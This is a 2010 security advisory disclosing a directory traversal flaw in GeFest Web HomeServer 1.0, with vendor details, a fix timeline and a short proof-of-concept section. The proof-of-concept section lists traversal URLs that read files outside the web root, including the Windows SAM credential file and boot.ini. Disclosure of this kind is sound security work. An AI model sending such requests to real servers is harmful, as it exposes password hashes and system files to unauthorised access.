GeFest Web HomeServer 1.0 Directory Traversal

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| http://www.corelan.be:8800 |  
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| Vulnerability Disclosure Report |  
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Advisory : CORELAN-10-010  
Disclosure date : February 8th, 2010  
  
  
0x00 : Vulnerability information  
--------------------------------  
  
[*] Product : GeFest Web HomeServer  
[*] Version : 1.0  
[*] URL : http://clearweb.org.ua/  
[*] Platform : Windows  
[*] Type of vulnerability : Remote Directory Traversal  
[*] Risk rating : High (possible access to sensitive files)  
[*] Issue fixed in version : 1.2  
[*] Vulnerability discovered by : MarkoT  
[*] Corelan Team is : corelanc0d3r, EdiStrosar, rick2600, mr_me, ekse, MarkoT,  
sinn3r, Jacky 'Redsees' & jnz  
  
  
0x01 : Vendor description of software  
-------------------------------------  
>From the vendor website:  
  
"""Gefest Web Home Server is a Simple Web Server with Graphical User interface.  
Server allow watch video directly from another pc.  
Server allow create software storage.  
Server support password protection.  
Server allow review all user activity (Server log and Activity log)  
Share your folders in internet or local network.  
Add / Remove folders with use simple interface."""  
  
  
0x02 : Vulnerability details  
----------------------------  
By default, the utility runs as an application (and it's very likely that people will run this with administrator privileges)  
The discovered vulnerability allows an attacker to access files outside of the web application root.  
  
PoC :  
http://192.168.1.200:8080/\../\../\../WINDOWS\SYSTEM32\calc.exe  
http://192.168.1.200:8080/\../\../\../WINDOWS\SYSTEM32\config\sam  
http://192.168.1.200:8080/\../\../\../WINDOWS\SYSTEM32  
http://192.168.1.200:8080/\../\../\../boot.ini  
  
  
  
0x03 : Vendor communication  
---------------------------  
[*] February 4th, 2010 - Vendor contacted  
[*] February 5th, 2010 - Version 1.20 released  
[*] February 8th, 2010 - Public disclosure  
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